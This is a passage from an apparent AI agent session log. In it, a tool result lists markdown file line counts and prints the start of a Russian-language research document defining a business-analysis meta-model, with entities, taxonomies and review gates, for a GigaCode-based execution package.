`SK-7`) \u0438 \u0437\u0430\u043f\u0440\u0435\u0442 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u0441\u044b\u043b\u043a\u043e\u0439\",\n[2026-09-29T07:44:46.211Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:46.211Z] [INFO]       }\n[2026-09-29T07:44:46.211Z] [INFO]     ]\n[2026-09-29T07:44:46.211Z] [INFO]   },\n[2026-09-29T07:44:46.211Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:46.211Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"uuid\": \"d4b8b566-2c03-40e4-8eb6-e5dc319797e8\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:46.037Z\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:46.211Z] [INFO]     \"stdout\": \"   237 00-introduction.md\\n   253 10-theory.md\\n   310 20-taxonomy.md\\n   304 30-decision-framework.md\\n   225 40-practice-and-cases.md\\n   211 50-open-research.md\\n    80 operation-taxonomy/00-introduction.md\\n   111 operation-taxonomy/10-theory.md\\n   243 operation-taxonomy/20-taxonomy.md\\n   102 operation-taxonomy/30-decision-framework.md\\n   100 operation-taxonomy/40-practice-and-cases.md\\n    57 operation-taxonomy/50-open-research.md\\n   134 process-taxonomy/00-introduction.md\\n   218 process-taxonomy/10-theory.md\\n   197 process-taxonomy/20-taxonomy.md\\n   169 process-taxonomy/30-decision-framework.md\\n   133 process-taxonomy/40-practice-and-cases.md\\n    59 process-taxonomy/50-open-research.md\\n  3143 total\\n---\\nstatus: draft\\nversion: 0.4\\nupdated: 2026-09-15\\ntemperature: 0.3\\ntype: research\\ncontext: [ba, methodology, meta-model, taxonomy, actor, execution-package, gigacode, deprecation, traceability, issue-563, issue-571, issue-587]\\nmethod: synthesis + corpus-measurement + entity-modeling + package-design\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\nbased_on:\\n  - research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\n  - research/ba-requirements/exp/ba-meta-model-563/meta-model-inputs.json\\n  - research/ba-requirements/methodology-unification/10-theory.md\\n  - research/ba-requirements/artifact-micro-structure/20-taxonomy.md\\nrelated_artifacts:\\n  - \\\"docs/adr/2026-09-adr-013-run-modes-deprecation.md\\\"\\n  - \\\"docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md\\\"\\n  - \\\"standards/product-taxonomy-reference.md\\\"\\n  - \\\"research/ba-requirements/orchestration/00-introduction.md\\\"\\n  - \\\"ops/backlog.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/577\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587\\\"\\n---\\n\\n# \u041f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 \u0434\u043b\u044f \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 Execution Package\\n\\n\u0410\u0432\u0442\u043e\u0440\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438: **G-Ivan-A**. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e\\n\u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 \u0441\u0440\u0435\u0434\u0435 GigaCode. \u042d\u0442\u043e \u0438\u043c\u044f \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u044f\u0432\u043a\u043e\u0439 \u043d\u0430\\n\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c: \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c `L0`/`L1` \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n\u0437\u0430\u0434\u0430\u0447\u0438 `B-158`, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n> **\u041c\u043e\u0434\u0443\u043b\u044c** \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d \u043f\u043e\\n> [Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n> `00` \u2014 \u0440\u0430\u043c\u043a\u0430 \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, `10` \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, `20` \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, `30` \u2014 \u0441\u043e\u0441\u0442\u0430\u0432 Execution\\n> Package \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u0432\u044b\u043a\u0430, `40` \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> BCREQ, \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438, `50` \u2014 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u0438 \u0431\u044d\u043a\u043b\u043e\u0433.\\n> **\u0421\u0441\u044b\u043b\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue #563). \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014\\n> \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n> [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n> \u043f\u0440\u0430\u0432\u0438\u043b\u043e `P2` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\\n> ([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n\\n## \u0417\u0430\u0447\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\n\\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 \u0411\u0410 \u043a 2026-09-08 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043f\u044f\u0442\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\\n(`M0`\u2013`M4`) \u0438 \u0434\u0432\u0443\u0445 \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0441\u0435\u0439 \u2014 \u043c\u0430\u043a\u0440\u043e (`methodology-unification/`) \u0438\\n\u043c\u0438\u043a\u0440\u043e (`artifact-micro-structure/`). \u041a\u0430\u0436\u0434\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u0441\u0432\u044f\u0437\u0435\u043d, \u043d\u043e \u043c\u0435\u0436\u0434\u0443\\n\u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443: \u0433\u0435\u0439\u0442\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0440\u0438\u0436\u0434\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\\n\u043d\u0430\u0432\u044b\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0436\u0438\u0432\u0451\u0442 \u0438 \u0432 `M3`, \u0438 \u0432\\n\u0448\u0430\u0433\u0435 `S7` \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u0438.\\n\\nIssue [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)\\n\u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0442\u0435\u043e\u0440\u0438\u0438 \u0438 \u0441\u0442\u0430\u0432\u0438\u0442 \u0434\u0432\u0435 \u0437\u0430\u0434\u0430\u0447\u0438: **\u0441\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\\n\u043e\u0434\u043d\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438** \u0438 **\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437 \u043d\u0435\u0451 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442**,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0432 GigaCode. \u041c\u043e\u0434\u0443\u043b\u044c \u043d\u0435\\n\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u043e\u0432\u0435\u0440\u0445 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u2014 \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0430 \u043a\u0430\u043a\u0438\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438.\\n\\n**\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438 (\u0432\u0435\u0440\u0441\u0438\u044f 0.2).** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u0434\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode. \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c **\u043d\u0435\\n\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f**: `L0` \u0438 `L1` \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u044b \u0438\u0437 BABOK Guide v3\\n\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043f\u043e \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044e, \u0430 `L2`, `L3` \u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u044b \u0438\u0437 \u043e\u0434\u043d\u043e\u0439\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b\\n([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md)),\\n\u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n**\u0427\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044f 0.2**\\n([issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `System` \u0438 `Actor` \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438, `Skill` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n\u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0438 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u043d\u044b \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0430\u0437\u0438\u0441\u0435, \u0430\\n\u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0441\u043f\u0438\u0446\u044b \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n\u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\\n\\n## BLUF: \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439.** `Product`, `System`,\\n   `Artifact`, `Operation`, `Skill`, `Process`, `Route`, `Actor`, `Gate`,\\n   `Contract`, `Trace`. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u043a\\n   \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u2014 \u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u043b\u0430 `Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014\\n   \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0430\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72).\\n2. **\u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0430\u0440\u043e\u0439 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb.**\\n   \u0420\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (`stepwise`, `oneshot`, `legacy`) \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\\n   \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0451\u043d \u0432 `deprecated`\\n   ([ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)).\\n   \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 13 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432\\n   \u0440\u0435\u0436\u0438\u043c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u2014 0.077.\\n3. **\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043d\u0430\u0432\u044b\u043a\u0438 (1:N) \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (1:N).** \u041d\u0430\u0432\u044b\u043a \u2014 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441**: \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c,\\n   \u0433\u0435\u0439\u0442\u043e\u043c \u0438 \u043f\u0440\u0430\u0432\u043e\u043c \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e\\n   \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0422\u0440\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\\n   (\u043f\u0440\u043e\u043c\u043f\u0442), \u0440\u0430\u0437\u0432\u0435\u0434\u0435\u043d\u044b \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c \u00ab\u043c\u043d\u043e\u0433\u0438\u0435 \u043a\\n   \u043e\u0434\u043d\u043e\u043c\u0443\u00bb\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a74).\\n4. **\u0413\u0435\u0439\u0442 \u2014 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0441 \u0442\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c\u0438.** `G-self` (\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n   \u0441\u0435\u0431\u044f), `G-mach` (\u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440), `G-human` (\u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2014 \u043d\u0435 \u0442\u0440\u0438 \u0442\u0438\u043f\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437 \u0442\u0440\u0451\u0445\\n   \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0430 \u0442\u0440\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044f `executor` \u043e\u0434\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b\\n   `HG-0`\u2026`HG-8` \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f **\u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u043c\u0438** `G-human`, \u0430 \u043d\u0435 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u043c\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0451\u043c.\\n5. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0433\u0435\u0439\u0442\u0430.** \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u2014 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.\\n   \u041e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d.\\n6. **\u041f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e.** `Trace` \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434. \u0411\u0435\u0437 \u043d\u0435\u0451 \u043d\u0438 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430\\n   \u043d\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u043c\u0430: \u0437\u0430\u043c\u0435\u0440 